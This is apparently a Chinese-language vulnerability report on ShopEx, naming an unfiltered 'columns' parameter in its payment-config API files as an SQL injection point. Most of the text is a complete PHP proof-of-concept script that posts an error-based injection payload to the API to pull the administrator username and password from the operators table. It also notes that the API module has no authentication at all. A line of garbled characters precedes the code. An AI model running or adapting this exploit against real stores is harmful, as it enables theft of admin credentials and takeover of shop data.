admin

缺陷文件：\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php

第44行 $data['columns'] 未做过滤导致注入

' z/ m% d/ n8 C/ V! \1 c4 L<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证，任何用户都可访问,攻击者可通过它来对产品的分类，类型，规格，品牌等，进行添加，删除和修改，过滤不当还可造成注入.
